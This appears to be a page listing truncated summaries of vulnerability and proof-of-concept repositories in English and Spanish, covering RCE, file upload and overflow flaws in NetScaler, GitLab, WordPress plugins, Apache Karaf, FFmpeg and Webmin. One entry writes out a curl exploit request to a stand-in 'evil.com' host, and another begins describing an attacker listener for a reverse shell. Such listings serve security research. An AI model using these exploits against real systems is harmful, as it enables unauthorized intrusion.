CVE-2025-7775-PoC

CVE-2025-7775 | NetScaler ADC RCE PoC ⚠️ Disclaimer: This is a hypothetical PoC for educational purposes only.Segment NetScaler networks CVE-2025-7775 does not exist. Use only in an isolated lab. Overview Simulated exploit for a hypothetical unauthenticated RCE in Citrix NetScaler ADC/Gateway...

CVE-2021-41773

CVE-2021-41773 — PoC: Path Traversal + RCE via modcgi Solo para uso en entornos controlados y propios. No usar contra sistemas sin autorización. Descripción PoC desarrollada para demostrar y entender la vulnerabilidad CVE-2021-41773 , presente en Apache HTTP Server 2.4.49. El fallo reside en la...

CVE-2026-96431

Unrestricted Upload of File with Dangerous Type in the /WebAgenda/download/uploadFile.jsp API endpoint of Flowring Agentflow 4.0 version before 2023/03/24 allows remote authenticated users to execute arbitrary system commands via a malicious file...

CVE-2026-25253

CVE-2026-25253 OpenClaw RCE en 1 clic ★ CVE-2026-25253 PoC de OpenClaw RCE en 1 clic ★ https://github.com/user-attachments/assets/e6957c61-7549-4e68-831e-a05436504a3e Descripción CVE-2026-25253 : Vulnerabilidad de Exfiltración del Token de Autenticación de OpenClaw descripción: OpenClaw también...

CVE-2026-3300

CVE-2026-3300 - Wordpress ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments Example setup: git clone cd Project use python follow below Create a virtual...

CVE-2021-22205

CVE-2021-22205 - Ejecución Remota de Código no Autenticada en GitLab CVE-2021-22205 es una vulnerabilidad crítica de Ejecución Remota de Código RCE que afecta a GitLab Community Edition CE y Enterprise Edition EE. La vulnerabilidad se origina en una validación incorrecta de los archivos de imagen...

CVE-2026-23744-PoC

CVE-2026-23744-PoC Poc sobre vulnerabilidad en MCP Server. automatizado para la parte del post con el cuerpo correcto. path vulnerable: /api/mcp/connect metodo por curl: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...

BIT-FLUENT-BIT-2026-61674 Fluent Bit: Remote stack buffer overflow in Fluent Bit `out_forward` Secure-Forward `PONG` handler

Fluent Bit is a fast and lightweight logs, metrics, and traces processor for Linux, BSD, macOS, and Windows. From 0.11.0 until 5.0.8, plugins/outforward/forward.c secureforwardpong copies the server-controlled PONG2 reason into the 32-byte stack buffer msg with memcpy without checking its...

BIT-GDAL-2026-4738 GDAL Bundled zlib (inftree9.c) Pointer Offset Optimization Undefined Behavior Allows Heap Corruption or Remote Code Execution

Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in OSGeo gdal frmts/zlib/contrib/infback9 modules. This vulnerability is associated with program files inftree9.C‎. This issue affects gdal: before 3.11.0...

CVE-2026-14894

CVE-2026-14894 — Super Forms Unauthenticated File Upload RCE Nonce Leak → datauristring Upload → Code Execution Overview CVE-2026-14894 is a critical-severity CVSS 9.8 unauthenticated arbitrary file upload vulnerability in the Super Forms – Drag & Drop Form Builder WordPress plugin by WebRehab...

CVE-2026-48907

CVE-2026-48907 - Joomla! JCE RCE sin autenticación Extensión Joomla! JCE Esta herramienta es solo para fines educativos y de pruebas autorizadas. Úsela solo en sistemas que posea o tenga permiso explícito para probar El autor no se hace responsable de ningún uso indebido...

struts2-rce

Exploit Demo for CVE-2017-5638 Completely based on https://github.com/piesecurity/apache-struts2-CVE-2017-5638 A realistic scenario where a reference project for a framework is deployed on a container but with terrible consequences. To familiarise yourself look at the code and compile it. Also...

CVE-2026-91048 Apache Karaf: Missing authorization on the jdbc:* shell command scope allows privilege escalation to remote code execution via jdbc:ds-create

The jdbc shell command scope shipped no org.apache.karaf.command.acl.jdbc.cfg. Karaf's command guard SecuredSessionFactoryImpl treats a command with no matching ACL rule as allowed, so any authenticated shell session including one holding only the viewer role could run...

CVE-2026-91048

Apache Karaf is vulnerable to a privilege escalation to Remote Code Execution (RCE) due to missing authorization on the jdbc: and jms: shell command scopes. The system's command guard (SecuredSessionFactoryImpl ) treats commands without a matching ACL rule as allowed because the required configur...

CVE-2026-91048 Apache Karaf: Missing authorization on the jdbc:* shell command scope allows privilege escalation to remote code execution via jdbc:ds-create

The jdbc shell command scope shipped no org.apache.karaf.command.acl.jdbc.cfg. Karaf's command guard SecuredSessionFactoryImpl treats a command with no matching ACL rule as allowed, so any authenticated shell session including one holding only the viewer role could run...

Incident-Response-Report-TeamCity-Compromise-CVE-2024-27198-

Informe de Respuesta a Incidentes: Compromiso de TeamCity CVE-2024-27198 Analista: Belal Abdelsalam Fecha: Julio de 2026 Laboratorio/Entorno: CyberDefenders JetBrains 📄 Resumen Ejecutivo Este documento documenta el análisis forense de un servidor JetBrains TeamCity comprometido versión 2023.11.3...

CVE-2026-8461

🎬 CVE-2026-8461 — PixelSmash Escritura Fuera de Límites Crítica en el Decodificador MagicYUV de FFmpeg Un archivo de video malicioso puede convertirse en un arma. PixelSmash es una vulnerabilidad crítica de corrupción de memoria que afecta al decodificador MagicYUV de FFmpeg, que permite a un...

cve-2025-50946

cve-2025-50946 Script de explotación para CVE-2025-50946 OliveTin get-theme RCE. Los requisitos de caracteres son exigentes y muchos comandos que incluyen múltiples argumentos pueden no ejecutarse correctamente. No he dedicado tiempo a investigar la causa raíz ni a hacer el script más robusto...

CVE-2025-56815

CVE-2025-56815 Datart 1.0.0-rc.3 is vulnerable to Directory Traversal in the POST /viz/image interface, since the server directly uses MultipartFile.transferTo to save the uploaded file to a path controllable by the user, and lacks strict verification of the filename. POST...

Webmin-1.580---file-show.cgi-Manual-Remote-Command-Execution-Non-Metasploit-

Guía de Ejecución de RCE en Webmin 1.580 Referencia rápida para ejecutar Ejecución Remota de Código RCE autenticada en Webmin 1.580 a través del componente /file/show.cgi. 1. Máquina Atacante Receptor Ejecuta este comando en tu máquina local para capturar la conexión entrante antes de ejecutar el...